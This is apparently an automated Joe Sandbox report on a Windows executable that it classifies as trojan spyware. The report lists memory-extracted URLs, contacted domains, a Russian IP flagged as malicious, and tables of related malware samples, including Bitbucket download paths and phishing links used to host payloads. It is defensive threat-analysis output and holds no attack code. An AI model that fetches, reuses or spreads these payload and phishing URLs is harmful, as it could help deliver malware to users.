http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
https://bbuseruploads.s3.amazonaws.com4?l4	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	54.231.132.65	true	false	high
bitbucket.org	104.192.141.1	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	AppLaunch.exe, 00000002.00000002.642485963.0000000006B69000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.701379836.00000000078A4000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000003.590175830.0000000007A7D000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.642601867.0000000006B7F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	fl.exe.2.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	AppLaunch.exe, 00000002.00000002.642485963.0000000006B69000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.701379836.00000000078A4000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000003.590175830.0000000007A7D000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.642601867.0000000006B7F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://s3-w.us-east-1.amazonaws.com	AppLaunch.exe, 00000002.00000002.636373925.000000000686B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org	AppLaunch.exe, 00000002.00000002.634137943.00000000067D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://bbuseruploads.s3.amazonaws.com	AppLaunch.exe, 00000002.00000002.636373925.000000000686B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	XGN98Zq3JB.exe, 00000000.00000002.481770993.00000000004B8000.00000004.00000001.01000000.00000003.sdmp, XGN98Zq3JB.exe, 00000000.00000003.475229939.00000000001C2000.00000040.00001000.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.623914093.0000000000392000.00000020.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbuseruploads.s3.amazonaws.com	AppLaunch.exe, 00000002.00000002.636373925.000000000686B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/sc	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://bitbucket.org	AppLaunch.exe, 00000002.00000002.635537737.0000000006830000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AppLaunch.exe, 00000002.00000002.642485963.0000000006B69000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.701379836.00000000078A4000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000003.590175830.0000000007A7D000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.642601867.0000000006B7F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	AppLaunch.exe, 00000002.00000002.636143939.0000000006861000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.636837662.00000000068D9000.00000004.00000800.00020000.00000000.sdmp, XGN98Zq3JB.exe, fl.exe.2.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	AppLaunch.exe, 00000002.00000002.636889693.00000000068EA000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.634137943.00000000067D1000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aui-cdn.atlassian.com	AppLaunch.exe, 00000002.00000002.636373925.000000000686B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbuseruploads.s3.amazonaws.com4?l4	AppLaunch.exe, 00000002.00000002.636373925.000000000686B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/5a78d2aa-6f62-48d4-85f6-ed006e2e5d6b/downloads/2117c637-0508-	AppLaunch.exe, 00000002.00000002.635537737.0000000006830000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.636373925.000000000686B000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.636250258.0000000006867000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	AppLaunch.exe, 00000002.00000002.636889693.00000000068EA000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.636143939.0000000006861000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.636837662.00000000068D9000.00000004.00000800.00020000.00000000.sdmp, XGN98Zq3JB.exe, fl.exe.2.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	AppLaunch.exe, 00000002.00000002.629658509.0000000006641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.233.177.223	unknown	Russian Federation	8749	REDCOM-ASRedcomKhabarovskRussiaRU	true
104.192.141.1	bitbucket.org	United States	16509	AMAZON-02US	false
54.231.132.65	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	669770
Start date and time: 20/07/202210:30:20	2022-07-20 10:30:20 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	XGN98Zq3JB.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@3/3
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 19.6% (good quality ratio 13.9%) Quality average: 47.3% Quality standard deviation: 37%
HCA Information:	Successful, ratio: 97% Number of executed functions: 94 Number of non-executed functions: 69
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, licensing.mp.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target AppLaunch.exe, PID 208228 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: XGN98Zq3JB.exe

Simulations

Behavior and APIs

Time	Type	Description
10:32:45	API Interceptor	81x Sleep call for process: AppLaunch.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.192.141.1	Purchase Inquiry_pdf.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/KMMe6p/84dd89e3da0a597f178af84b75fa301869bb9740/files/charlesfinal
	Purchase Inquiry_pdf.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/KMMe6p/84dd89e3da0a597f178af84b75fa301869bb9740/files/charlesfinal
	RFQ#20220613124723.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/rEEzox/303cc98eeee4e8ce0be2a39a1aec7973fa1d5a9f/files/centfinal
	Quotation.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/bkkdM5/d967ec385ca0c9659e1ddb22731d05b19661a471/files/nanafinal
	Quotation.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/bkkdM5/d967ec385ca0c9659e1ddb22731d05b19661a471/files/nanafinal
	pn6xLHVgz8.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	k8XfIrqzNR.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	qsJjHqJ7T0.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	AhB0i1fe7I.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/Taxao.exe
	cj6LIPaeUz.exe	Get hash	malicious	Browse	bitbucket.org/abobik141231321/download/downloads/main.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
s3-w.us-east-1.amazonaws.com	http://links.learn.traininngsonline.com/els/v2/L6Y6JPKGqSv/cWkxNjZ1NFR1TE1JdE5OMXppUHpGU3J4Nk9UTFNLcU9YdWlsZTNIOGxXa0VQeG1lUUhOM2tkZ1p1UllNQ2RjdzE4cUF2RTc5cVlDMHJyU2Q5a2cwT082aGNldEJKZUJ4S0/	Get hash	malicious	Browse	54.231.224.89
	http://muvicinerna.com/	Get hash	malicious	Browse	52.217.160.161
	https://www.cakeresume.com/s--8ZsQHPJtf_LHqgiEROjJsQ--/oil-field-center	Get hash	malicious	Browse	52.217.142.73
	http://oilfieldsscentre.com/	Get hash	malicious	Browse	52.217.72.76
	http://bluesquarepizza.com	Get hash	malicious	Browse	52.216.32.201
	https://michelebouzat.clickfunnels.com/optinqov4eu0t	Get hash	malicious	Browse	52.216.9.75
	http://www.cakeresume.com/s--rGUatfUIgKmIxzDDfvCtvQ--/sam-son-95649f	Get hash	malicious	Browse	52.217.96.204
	https://uber.certa.in	Get hash	malicious	Browse	52.217.194.249
	2459694049ABFE227DDCF5B4D813FE3AE8E1E9066DE52.exe	Get hash	malicious	Browse	54.231.170.225
	https://m365-emarketing-uploads.s3.amazonaws.com/images/prodca_a68b7653784ce942/2022-2023%20Statutory%20Declaration.pdf	Get hash	malicious	Browse	52.217.83.108
	injector.exe	Get hash	malicious	Browse	52.217.77.116
	https://mystonesnerhdze.s3.amazonaws.com/stonesradirlaws.html	Get hash	malicious	Browse	52.216.176.115
	http://godofservice.com/	Get hash	malicious	Browse	52.216.239.75
	Ninite Agent (1).msi	Get hash	malicious	Browse	52.217.203.33
	https://cloud.kdanmobile.com/share/gl/NSsrS2IwTEczODc5MDNpTFFsUmlLMg	Get hash	malicious	Browse	52.216.185.155
	https://www.exoticanimalsforsale.net/	Get hash	malicious	Browse	52.216.207.19
	https://u27392293.ct.sendgrid.net/ls/click?upn=jUA4wND9dS1h6h6Ko8fBt2a78wvIFYdp-2BJLrPp12ehtPZEnAFf2oYgqlj3shVUOJ02gN_nMwq7ik-2Bexo9JOz109lOGzj1L0HnID-2FDWcV-2B1EDENen4Mr6VbqZU8ubZepdKMb-2Fqr-2FtkxgpcBchVC-2FX6L42R-2FID7j9LKp0-2BGUrhjoCzrfrQwJh64T0gA8RL5Kb3kojWCu7ECE8R-2BYyvEzVpQ0jnu6pKnpMbOyN6y5yUVZ9iEUxc4yzcvsPSlOtbqahBx-2BKu5qfChOhcP8NJ-2FBxHQ0-2FDfLQ-3D-3D	Get hash	malicious	Browse	52.216.109.123
	http://ITSupport.emailquarantine.com/fe4023a5797aa024?l=7	Get hash	malicious	Browse	52.216.130.131
	https://americanwaterjetting.start.page	Get hash	malicious	Browse	54.231.192.89
	E6XOFj4oDr.exe	Get hash	malicious	Browse	52.217.164.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
REDCOM-ASRedcomKhabarovskRussiaRU	recibo_formato.xls	Get hash	malicious	Browse	193.233.188.5
	PO2203-0154.xlsx	Get hash	malicious	Browse	193.233.188.112
	SecuriteInfo.com.Variant.Tedy.169967.13847.exe	Get hash	malicious	Browse	193.233.179.125
	SecuriteInfo.com.generic.ml.14928.exe	Get hash	malicious	Browse	193.233.188.43
	SecuriteInfo.com.Suspicious.Win32.Save.a.15957.exe	Get hash	malicious	Browse	193.233.179.125
	Invoice 0001 #Electronics.exe	Get hash	malicious	Browse	193.233.179.125
	jjjjjjjjjjj.exe	Get hash	malicious	Browse	193.233.179.125
	svchost.exe	Get hash	malicious	Browse	193.233.179.125
	FACTURE.LNK.lnk	Get hash	malicious	Browse	193.233.179.125
	Remittance Advice.exe	Get hash	malicious	Browse	193.233.179.125
	Voyage Orders.exe	Get hash	malicious	Browse	193.233.179.125
	FCFUB.exe	Get hash	malicious	Browse	193.233.188.5
	lgR936l9iq.exe	Get hash	malicious	Browse	193.233.177.215
	Scan #U2116#U0410220200021 dd 11 02 22.scr	Get hash	malicious	Browse	193.233.179.125
	Order-0627.exe	Get hash	malicious	Browse	193.233.187.19
	Re01092.exe	Get hash	malicious	Browse	193.233.187.19
	c9c721c176b617731a5d4041c8d47d507bbbc599cb95b.exe	Get hash	malicious	Browse	193.233.187.19
	Booking038.exe	Get hash	malicious	Browse	193.233.187.19
	SecuriteInfo.com.W32.AIDetectNet.01.8958.exe	Get hash	malicious	Browse	193.233.187.19
	SecuriteInfo.com.W32.AIDetectNet.01.24747.exe	Get hash	malicious	Browse	193.233.187.19
AMAZON-02US	ZcREOkzFXa.dll	Get hash	malicious	Browse	13.251.200.152
	jFNXTbnaGw.dll	Get hash	malicious	Browse	3.99.36.132
